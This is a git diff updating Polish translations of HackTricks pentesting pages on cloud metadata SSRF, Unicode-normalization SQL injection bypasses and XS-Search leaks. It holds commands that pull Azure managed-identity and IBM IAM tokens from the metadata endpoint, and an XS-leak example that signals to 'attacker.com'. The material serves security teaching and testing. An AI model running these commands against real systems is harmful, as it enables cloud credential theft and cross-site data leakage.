**tożsamości zarządzanej przypisanej przez system** do wygenerowania tokena, jeśli istnieje jakakolwiek tożsamość zarządzana przypisana przez system. W przypadku, gdy istnieje tylko **JEDNA tożsamość zarządzana przypisana przez użytkownika**, to ta będzie używana domyślnie. Jednak w przypadku braku tożsamości zarządzanej przypisanej przez system i istnienia **wielu tożsamości zarządzanych przypisanych przez użytkownika**, usługa metadanych zwróci błąd wskazujący, że istnieje wiele tożsamości zarządzanych i konieczne jest **określenie, którą użyć**. > -> Niestety nie mogłem znaleźć żadnego punktu końcowego metadanych wskazującego wszystkie MI przypisane do VM. +> Niestety nie mogłem znaleźć żadnego punktu końcowego metadanych wskazującego wszystkie MI przypisane do VM, więc odkrycie wszystkich przypisanych tożsamości zarządzanych do VM może być trudnym zadaniem z perspektywy Red Team. > > Dlatego, aby znaleźć wszystkie przypisane MI, możesz zrobić: > -> - Uzyskaj **przypisane tożsamości za pomocą az cli** (jeśli już skompromitowałeś główny obiekt w dzierżawie Azure) +> - Uzyskaj **przypisane tożsamości za pomocą az cli** (jeśli już skompromitowałeś główny w tenant Azure) > > ```bash > az vm identity show \ @@ -362,14 +362,14 @@ curl http://169.254.169.254/metadata/v1.json | jq > "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq > ``` > -> - **Uzyskaj wszystkie** zdefiniowane tożsamości zarządzane w dzierżawie i **przeprowadź brute force**, aby sprawdzić, czy którakolwiek z nich jest przypisana do VM: +> - **Uzyskaj wszystkie** zdefiniowane tożsamości zarządzane w tenant i **brute force**, aby sprawdzić, czy którakolwiek z nich jest przypisana do VM: > > ```bash > az identity list > ``` > [!OSTRZEŻENIE] -> W żądaniach tokenów użyj dowolnego z parametrów `object_id`, `client_id` lub `msi_res_id`, aby wskazać tożsamość zarządzaną, której chcesz użyć ([**dokumentacja**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Jeśli żadna, to **domyślna MI będzie użyta**. +> W żądaniach tokenów użyj dowolnego z parametrów `object_id`, `client_id` lub `msi_res_id`, aby wskazać tożsamość zarządzaną, którą chcesz użyć ([**dokumentacja**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Jeśli żadna, to **domyślna MI będzie używana**. {{#tabs}} {{#tab name="Bash"}} @@ -406,7 +406,20 @@ Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http: $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text" [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData)) -# Paths +## Get management token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token + +## Get graph token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token + +## Get vault token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token + +## Get storage token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token + + +# More Paths /metadata/instance?api-version=2017-04-02 /metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text /metadata/instance/compute/userData?api-version=2021-01-01&format=text @@ -450,7 +463,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08 {{#endtab}} {{#tab name="PS"}} -```powershell +```bash # Define the API version $API_VERSION = "2019-08-01" @@ -535,7 +548,7 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance # Get IAM credentials curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq ``` -Dokumentacja dotycząca usług metadanych różnych platform jest przedstawiona poniżej, podkreślając metody, za pomocą których można uzyskać dostęp do informacji konfiguracyjnych i uruchomieniowych dla instancji. Każda platforma oferuje unikalne punkty końcowe do uzyskania dostępu do swoich usług metadanych. +Dokumentacja dotycząca usług metadanych różnych platform jest przedstawiona poniżej, podkreślając metody, dzięki którym można uzyskać informacje o konfiguracji i czasie działania instancji. Każda platforma oferuje unikalne punkty końcowe do uzyskania dostępu do swoich usług metadanych. ## Packetcloud @@ -543,7 +556,7 @@ Aby uzyskać dostęp do metadanych Packetcloud, dokumentację można znaleźć p ## OpenStack/RackSpace -Konieczność nagłówka nie jest tutaj wspomniana. Metadane można uzyskać przez: +Konieczność nagłówka nie jest wspomniana. Metadane można uzyskać przez: - `http://169.254.169.254/openstack` diff --git a/src/pentesting-web/unicode-injection/unicode-normalization.md b/src/pentesting-web/unicode-injection/unicode-normalization.md index 5905260c8..2bec71369 100644 --- a/src/pentesting-web/unicode-injection/unicode-normalization.md +++ b/src/pentesting-web/unicode-injection/unicode-normalization.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -**To jest podsumowanie:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Sprawdź to dla dalszych szczegółów (obrazy wzięte stamtąd). +**To jest podsumowanie:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Sprawdź szczegóły (obrazy pochodzą stamtąd). ## Zrozumienie Unicode i Normalizacji @@ -43,7 +43,7 @@ Inny **przykład**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9 Wyobraź sobie stronę internetową, która używa znaku `'` do tworzenia zapytań SQL z danymi wejściowymi użytkownika. Ta strona, jako środek bezpieczeństwa, **usuwa** wszystkie wystąpienia znaku **`'`** z danych wejściowych użytkownika, ale **po tym usunięciu** i **przed utworzeniem** zapytania, **normalizuje** dane wejściowe użytkownika przy użyciu **Unicode**. -Wtedy złośliwy użytkownik mógłby wstawić inny znak Unicode równoważny `' (0x27)` jak `%ef%bc%87`, gdy dane wejściowe zostaną znormalizowane, powstaje pojedynczy apostrof i pojawia się **vulnerabilność SQLInjection**: +Wtedy złośliwy użytkownik mógłby wstawić inny znak Unicode równoważny `' (0x27)` jak `%ef%bc%87`, gdy dane wejściowe zostaną znormalizowane, powstaje pojedynczy apostrof i pojawia się **vulnerabilność SQL Injection**: ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>) @@ -93,7 +93,7 @@ Zauważ, że na przykład pierwszy proponowany znak Unicode można wysłać jako Kiedy backend **sprawdza dane wejściowe użytkownika za pomocą regex**, może być możliwe, że **wejście** jest **normalizowane** dla **regex**, ale **nie** dla miejsca, w którym jest **używane**. Na przykład, w przypadku Open Redirect lub SSRF regex może **normalizować wysłany URL**, ale następnie **uzyskiwać do niego dostęp tak, jak jest**. -Narzędzie [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* pozwala na **generowanie wariacji wejścia** w celu fuzzowania backendu. Po więcej informacji sprawdź **github** i ten [**post**](https://0xacb.com/2022/11/21/recollapse/). +Narzędzie [**recollapse**](https://github.com/0xacb/recollapse) pozwala na **generowanie wariacji wejścia** w celu fuzzowania backendu. Po więcej informacji sprawdź **github** i ten [**post**](https://0xacb.com/2022/11/21/recollapse/). ## Unicode Overflow diff --git a/src/pentesting-web/xs-search.md b/src/pentesting-web/xs-search.md index 12d26f53a..801d776e2 100644 --- a/src/pentesting-web/xs-search.md +++ b/src/pentesting-web/xs-search.md @@ -4,23 +4,23 @@ ## Podstawowe informacje -XS-Search to metoda używana do **ekstrakcji informacji międzydomenowych** poprzez wykorzystanie **wrażliwości kanałów bocznych**. +XS-Search to metoda używana do **ekstrakcji informacji z różnych źródeł** poprzez wykorzystanie **wrażliwości kanałów bocznych**. -Kluczowe komponenty zaangażowane w ten atak obejmują: +Kluczowe komponenty zaangażowane w ten atak to: -- **Wrażliwa strona internetowa**: Docelowa strona, z której zamierzane jest wydobycie informacji. -- **Strona atakującego**: Złośliwa strona stworzona przez atakującego, którą odwiedza ofiara, hostująca exploit. -- **Metoda włączenia**: Technika stosowana do włączenia Wrażliwej Strony Internetowej do Strony Atakującego (np. window.open, iframe, fetch, tag HTML z href itp.). +- **Wrażliwa strona internetowa**: Docelowa strona, z której zamierzamy wyodrębnić informacje. +- **Strona internetowa atakującego**: Złośliwa strona stworzona przez atakującego, którą odwiedza ofiara, hostująca exploit. +- **Metoda włączenia**: Technika stosowana do włączenia Wrażliwej Strony Internetowej do Strony Internetowej Atakującego (np. window.open, iframe, fetch, tag HTML z href itp.). - **Technika wycieku**: Techniki używane do rozróżnienia różnic w stanie Wrażliwej Strony Internetowej na podstawie informacji zebranych za pomocą metody włączenia. -- **Stany**: Dwa potencjalne warunki Wrażliwej Strony Internetowej, które atakujący ma na celu odróżnienie. +- **Stany**: Dwa potencjalne warunki Wrażliwej Strony Internetowej, które atakujący stara się rozróżnić. - **Wykrywalne różnice**: Obserwowalne różnice, na których atakujący polega, aby wywnioskować stan Wrażliwej Strony Internetowej. ### Wykrywalne różnice Kilka aspektów można analizować, aby odróżnić stany Wrażliwej Strony Internetowej: -- **Kod statusu**: Rozróżnianie między **różnymi kodami statusu odpowiedzi HTTP** międzydomenowo, takimi jak błędy serwera, błędy klienta czy błędy autoryzacji. -- **Użycie API**: Identyfikacja **użycia Web API** na stronach, ujawniająca, czy strona międzydomenowa korzysta z konkretnego JavaScript Web API. +- **Kod statusu**: Rozróżnianie między **różnymi kodami statusu odpowiedzi HTTP** z różnych źródeł, takimi jak błędy serwera, błędy klienta czy błędy autoryzacji. +- **Użycie API**: Identyfikacja **użycia Web API** na stronach, ujawniająca, czy strona z innego źródła korzysta z konkretnego JavaScript Web API. - **Przekierowania**: Wykrywanie nawigacji do różnych stron, nie tylko przekierowań HTTP, ale także tych wywołanych przez JavaScript lub HTML. - **Zawartość strony**: Obserwowanie **różnic w treści odpowiedzi HTTP** lub w podzasobach strony, takich jak **liczba osadzonych ramek** lub różnice w rozmiarze obrazów. - **Nagłówek HTTP**: Zauważenie obecności lub ewentualnie wartości **konkretnego nagłówka odpowiedzi HTTP**, w tym nagłówków takich jak X-Frame-Options, Content-Disposition i Cross-Origin-Resource-Policy. @@ -28,19 +28,19 @@ Kilka aspektów można analizować, aby odróżnić stany Wrażliwej Strony Inte ### Metody włączenia -- **Elementy HTML**: HTML oferuje różne elementy do **włączenia zasobów międzydomenowych**, takie jak arkusze stylów, obrazy czy skrypty, zmuszając przeglądarkę do żądania zasobu nie-HTML. Kompilacja potencjalnych elementów HTML do tego celu znajduje się pod adresem [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks). -- **Ramki**: Elementy takie jak **iframe**, **object** i **embed** mogą osadzać zasoby HTML bezpośrednio na stronie atakującego. Jeśli strona **nie ma ochrony przed ramkowaniem**, JavaScript może uzyskać dostęp do obiektu okna osadzonego zasobu za pomocą właściwości contentWindow. -- **Okna podręczne**: Metoda **`window.open`** otwiera zasób w nowej karcie lub oknie, zapewniając **uchwyt okna** dla JavaScript do interakcji z metodami i właściwościami zgodnie z SOP. Okna podręczne, często używane w jednolitym logowaniu, omijają ograniczenia ramkowania i ciasteczek zasobu docelowego. Jednak nowoczesne przeglądarki ograniczają tworzenie okien podręcznych do określonych działań użytkownika. -- **Żądania JavaScript**: JavaScript pozwala na bezpośrednie żądania do zasobów docelowych za pomocą **XMLHttpRequests** lub **Fetch API**. Te metody oferują precyzyjną kontrolę nad żądaniem, na przykład wybierając śledzenie przekierowań HTTP. +- **Elementy HTML**: HTML oferuje różne elementy do **włączenia zasobów z różnych źródeł**, takie jak arkusze stylów, obrazy czy skrypty, zmuszając przeglądarkę do żądania zasobu nie-HTML. Kompilacja potencjalnych elementów HTML do tego celu znajduje się pod adresem [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks). +- **Ramki**: Elementy takie jak **iframe**, **object** i **embed** mogą osadzać zasoby HTML bezpośrednio na stronie atakującego. Jeśli strona **nie ma ochrony przed ramkami**, JavaScript może uzyskać dostęp do obiektu okna osadzonego zasobu za pomocą właściwości contentWindow. +- **Pop-upy**: Metoda **`window.open`** otwiera zasób w nowej karcie lub oknie, zapewniając **uchwyt okna** dla JavaScript do interakcji z metodami i właściwościami zgodnie z SOP. Pop-upy, często używane w jednolitym logowaniu, omijają ograniczenia ramkowe i ciasteczkowe zasobu docelowego. Jednak nowoczesne przeglądarki ograniczają tworzenie pop-upów do określonych działań użytkownika. +- **Żądania JavaScript**: JavaScript pozwala na bezpośrednie żądania do zasobów docelowych za pomocą **XMLHttpRequests** lub **Fetch API**. Te metody oferują precyzyjną kontrolę nad żądaniem, na przykład wybierając, czy podążać za przekierowaniami HTTP. ### Techniki wycieku -- **Obsługa zdarzeń**: Klasyczna technika wycieku w XS-Leaks, gdzie obsługiwacze zdarzeń, takie jak **onload** i **onerror**, dostarczają informacji o sukcesie lub niepowodzeniu ładowania zasobów. +- **Obsługa zdarzeń**: Klasyczna technika wycieku w XS-Leaks, gdzie obsługi zdarzeń takie jak **onload** i **onerror** dostarczają informacji o sukcesie lub niepowodzeniu ładowania zasobów. - **Komunikaty o błędach**: Wyjątki JavaScript lub specjalne strony błędów mogą dostarczać informacji o wycieku, zarówno bezpośrednio z komunikatu o błędzie, jak i poprzez rozróżnienie między jego obecnością a brakiem. - **Globalne ograniczenia**: Fizyczne ograniczenia przeglądarki, takie jak pojemność pamięci lub inne narzucone ograniczenia przeglądarki, mogą sygnalizować, kiedy osiągnięto próg, służąc jako technika wycieku. -- **Stan globalny**: Wykrywalne interakcje z **globalnymi stanami** przeglądarek (np. interfejs Historia) mogą być wykorzystywane. Na przykład, **liczba wpisów** w historii przeglądarki może dostarczać wskazówek dotyczących stron międzydomenowych. -- **API wydajności**: To API dostarcza **szczegóły wydajności bieżącej strony**, w tym czas sieciowy dla dokumentu i załadowanych zasobów, umożliwiając wnioski na temat żądanych zasobów. -- **Czytelne atrybuty**: Niektóre atrybuty HTML są **czytelne międzydomenowo** i mogą być używane jako technika wycieku. Na przykład, właściwość `window.frame.length` pozwala JavaScript na zliczanie ramek osadzonych w stronie internetowej międzydomenowo. +- **Globalny stan**: Wykrywalne interakcje z **globalnymi stanami** przeglądarek (np. interfejs Historia) mogą być wykorzystywane. Na przykład, **liczba wpisów** w historii przeglądarki może dostarczać wskazówek o stronach z różnych źródeł. +- **API wydajności**: To API dostarcza **szczegóły wydajności bieżącej strony**, w tym czas sieciowy dla dokumentu i załadowanych zasobów, umożliwiając wnioski o żądanych zasobach. +- **Czytelne atrybuty**: Niektóre atrybuty HTML są **czytelne z różnych źródeł** i mogą być używane jako technika wycieku. Na przykład, właściwość `window.frame.length` pozwala JavaScript na zliczanie ramek osadzonych w stronie internetowej z różnych źródeł. ## Narzędzie XSinator i dokument @@ -49,7 +49,7 @@ XSinator to automatyczne narzędzie do **sprawdzania przeglądarek pod kątem ki Możesz **uzyskać dostęp do narzędzia pod adresem** [**https://xsinator.com/**](https://xsinator.com/) > [!WARNING] -> **Wykluczone XS-Leaks**: Musieliśmy wykluczyć XS-Leaks, które polegają na **workerach serwisowych**, ponieważ mogłyby zakłócać inne wycieki w XSinator. Ponadto zdecydowaliśmy się **wykluczyć XS-Leaks, które polegają na błędnej konfiguracji i błędach w konkretnej aplikacji internetowej**. Na przykład, błędne konfiguracje Cross-Origin Resource Sharing (CORS), wycieki postMessage lub Cross-Site Scripting. Dodatkowo wykluczyliśmy XS-Leaks oparte na czasie, ponieważ często cierpią na wolność, hałas i niedokładność. +> **Wykluczone XS-Leaks**: Musieliśmy wykluczyć XS-Leaks, które polegają na **workerach serwisowych**, ponieważ mogłyby zakłócać inne wycieki w XSinator. Ponadto zdecydowaliśmy się **wykluczyć XS-Leaks, które polegają na błędnej konfiguracji i błędach w konkretnej aplikacji internetowej**. Na przykład, błędne konfiguracje Cross-Origin Resource Sharing (CORS), wycieki postMessage lub Cross-Site Scripting. Dodatkowo wykluczyliśmy czasowe XS-Leaks, ponieważ często cierpią na wolność, hałas i niedokładność. ## **Techniki oparte na czasie** @@ -73,7 +73,7 @@ Więcej informacji: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](htt xs-search/cookie-bomb-+-onerror-xs-leak.md {{#endref}} -Przykład kodu próbuje **załadować obiekty skryptów z JS**, ale **inne tagi** takie jak obiekty, arkusze stylów, obrazy, dźwięki mogą być również używane. Ponadto możliwe jest również wstrzyknięcie **tagu bezpośrednio** i zadeklarowanie zdarzeń `onload` i `onerror` wewnątrz tagu (zamiast wstrzykiwać je z JS). +Przykład kodu próbuje **załadować obiekty skryptów z JS**, ale **inne tagi** takie jak obiekty, arkusze stylów, obrazy, audio mogą być również używane. Ponadto możliwe jest również wstrzyknięcie **tagu bezpośrednio** i zadeklarowanie zdarzeń `onload` i `onerror` wewnątrz tagu (zamiast wstrzykiwać je z JS). Istnieje również wersja tego ataku bez skryptów: ```html @@ -81,14 +81,14 @@ Istnieje również wersja tego ataku bez skryptów: ``` -W tym przypadku, jeśli `example.com/404` nie zostanie znaleziony, załadowana zostanie `attacker.com/?error`. +W tym przypadku, jeśli `example.com/404` nie zostanie znaleziony, załadowana zostanie strona `attacker.com/?error`. ### Czas ładowania - **Metody włączenia**: Elementy HTML - **Wykrywalna różnica**: Czas (zazwyczaj z powodu zawartości strony, kodu statusu) - **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) -- **Podsumowanie:** [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** może być używane do pomiaru, ile czasu zajmuje wykonanie żądania. Jednak inne zegary mogą być używane, takie jak [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming), które mogą identyfikować zadania trwające dłużej niż 50 ms. +- **Podsumowanie:** API [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **może być używane do mierzenia, ile czasu zajmuje wykonanie żądania.** Jednak inne zegary mogą być używane, takie jak [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming), które mogą identyfikować zadania trwające dłużej niż 50 ms. - **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) inny przykład w: {{#ref}} @@ -108,35 +108,35 @@ xs-search/performance.now-+-force-heavy-task.md - **Metody włączenia**: Ramki - **Wykrywalna różnica**: Czas (zazwyczaj z powodu zawartości strony, kodu statusu) - **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events) -- **Podsumowanie:** Zegar [SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) może być używany do pomiaru, ile czasu zajmuje wykonanie żądania. Inne zegary mogą być używane. +- **Podsumowanie:** Zegar [SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) może być używany do mierzenia, ile czasu zajmuje wykonanie żądania. Inne zegary mogą być używane. - **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events) -Czas potrzebny na pobranie zasobu można zmierzyć, wykorzystując zdarzenia [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) i [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event). Zdarzenie **`beforeunload`** jest wywoływane, gdy przeglądarka ma zamiar przejść do nowej strony, podczas gdy zdarzenie **`unload`** występuje, gdy nawigacja faktycznie ma miejsce. Różnicę czasową między tymi dwoma zdarzeniami można obliczyć, aby określić **czas, jaki przeglądarka spędziła na pobieraniu zasobu**. +Czas potrzebny na pobranie zasobu można zmierzyć, wykorzystując zdarzenia [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) i [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event). Zdarzenie **`beforeunload`** jest wywoływane, gdy przeglądarka ma zamiar przejść do nowej strony, podczas gdy zdarzenie **`unload`** występuje, gdy nawigacja faktycznie ma miejsce. Różnicę czasu między tymi dwoma zdarzeniami można obliczyć, aby określić **czas, jaki przeglądarka spędziła na pobieraniu zasobu**. -### Czas ramki w piaskownicy + onload +### Czas ramki w trybie piaskownicy + onload - **Metody włączenia**: Ramki - **Wykrywalna różnica**: Czas (zazwyczaj z powodu zawartości strony, kodu statusu) - **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks) -- **Podsumowanie:** API [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) może być używane do pomiaru, ile czasu zajmuje wykonanie żądania. Inne zegary mogą być używane. +- **Podsumowanie:** API [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) może być używane do mierzenia, ile czasu zajmuje wykonanie żądania. Inne zegary mogą być używane. - **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks) -Zaobserwowano, że w przypadku braku [Ochrony Ramkowej](https://xsleaks.dev/docs/defenses/opt-in/xfo/), czas potrzebny na załadowanie strony i jej zasobów podrzędnych przez sieć może być mierzony przez atakującego. Pomiar ten jest zazwyczaj możliwy, ponieważ handler `onload` iframe jest wywoływany dopiero po zakończeniu ładowania zasobów i wykonania JavaScriptu. Aby obejść zmienność wprowadzoną przez wykonanie skryptu, atakujący może zastosować atrybut [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) w ` ``` ### #ID + error + onload -- **Metody włączenia**: Ramki -- **Wykrywalna różnica**: Zawartość strony -- **Więcej informacji**: -- **Podsumowanie**: Jeśli możesz spowodować błąd na stronie, gdy dostępna jest poprawna zawartość, i sprawić, że załaduje się poprawnie, gdy dostępna jest jakakolwiek zawartość, możesz stworzyć pętlę do wyodrębnienia wszystkich informacji bez mierzenia czasu. -- **Przykład kodu**: +- **Inclusion Methods**: Frames +- **Detectable Difference**: Page Content +- **More info**: +- **Summary**: Jeśli możesz spowodować błąd na stronie, gdy dostępna jest poprawna zawartość, i sprawić, że załaduje się poprawnie, gdy dostępna jest jakakolwiek zawartość, możesz stworzyć pętlę do wyodrębnienia wszystkich informacji bez mierzenia czasu. +- **Code Example**: -Załóżmy, że możesz **wstawić** **stronę**, która ma **tajną** zawartość **w ramce Iframe**. +Załóżmy, że możesz **wstawić** **stronę**, która ma **tajną** zawartość **w obrębie Iframe**. -Możesz **sprawić, że ofiara będzie szukać** pliku, który zawiera "_**flag**_" używając **Iframe** (na przykład wykorzystując CSRF). Wewnątrz Iframe wiesz, że _**zdarzenie onload**_ będzie **wykonywane zawsze przynajmniej raz**. Następnie możesz **zmienić** **URL** **iframe**, zmieniając tylko **zawartość** **hash** w URL. +Możesz **sprawić, że ofiara wyszuka** plik, który zawiera "_**flag**_" używając **Iframe** (na przykład wykorzystując CSRF). Wewnątrz Iframe wiesz, że _**zdarzenie onload**_ będzie **wykonywane zawsze przynajmniej raz**. Następnie możesz **zmienić** **URL** **iframe**, zmieniając tylko **zawartość** **hash** w URL. Na przykład: @@ -147,13 +147,13 @@ Jeśli pierwszy URL został **pomyślnie załadowany**, to, gdy **zmienisz** cz Wtedy możesz **rozróżnić** między **poprawnie** załadowaną stroną a stroną, która ma **błąd** podczas dostępu. -### Wykonanie Javascript +### Javascript Execution -- **Metody włączenia**: Ramki -- **Wykrywalna różnica**: Zawartość strony -- **Więcej informacji**: -- **Podsumowanie:** Jeśli **strona** **zwraca** **wrażliwą** zawartość, **lub** zawartość, którą można **kontrolować** przez użytkownika. Użytkownik mógłby ustawić **ważny kod JS w negatywnym przypadku**, **ładując** każdy próbę wewnątrz **`